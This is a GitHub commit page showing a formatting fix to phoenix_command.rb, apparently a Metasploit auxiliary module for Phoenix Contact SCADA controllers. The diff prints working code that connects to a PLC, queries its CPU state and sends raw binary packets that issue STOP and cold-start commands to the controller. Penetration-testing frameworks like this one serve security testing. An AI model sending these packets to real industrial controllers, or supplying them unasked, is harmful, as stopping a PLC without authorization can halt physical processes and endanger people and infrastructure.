Skip to content

Commit 2c2729f

Browse files
authored
Update phoenix_command.rb
Coded was messed up by MS Edge, don't use it :)
1 parent 1b4409f commit 2c2729f

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/auxiliary/admin/scada/phoenix_command.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -138,6 +138,7 @@ def get_state1(data)
138138
end
139139
state
140140
end
141+
141142
def get_state2(data)
142143
if data[16..17] == '04'
143144
state = 'STOP'
@@ -149,6 +150,7 @@ def get_state2(data)
149150
end
150151
state
151152
end
153+
152154
def get_cpu(rhost, rport, devicetype)
153155
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
154156
state = 'unknown'
@@ -158,7 +160,8 @@ def get_cpu(rhost, rport, devicetype)
158160
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
159161
## Query packet
160162
data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
161-
state = get_state1(data) elsif devicetype == '39x'
163+
state = get_state1(data)
164+
elsif devicetype == '39x'
162165
init_phase2
163166
data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
164167
state = get_state2(data)
@@ -168,7 +171,8 @@ def get_cpu(rhost, rport, devicetype)
168171
state
169172
end
170173

171-
def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport)
174+
def set_cpu(rhost, rport, action, state, devicetype)
175+
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
172176
if devicetype == '15x'
173177
init_phase1 ## Several packets (21)
174178
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
@@ -178,7 +182,8 @@ def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' =>
178182
else
179183
print_status('--> Sending STOP now')
180184
send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
181-
end elsif devicetype == '39x'
185+
end
186+
elsif devicetype == '39x'
182187
init_phase2 ## Several packets (6)
183188
if action == 'START' || (action == 'REV' && state == 'STOP')
184189
print_status('--> Sending COLD start now')

0 commit comments

Comments
 (0)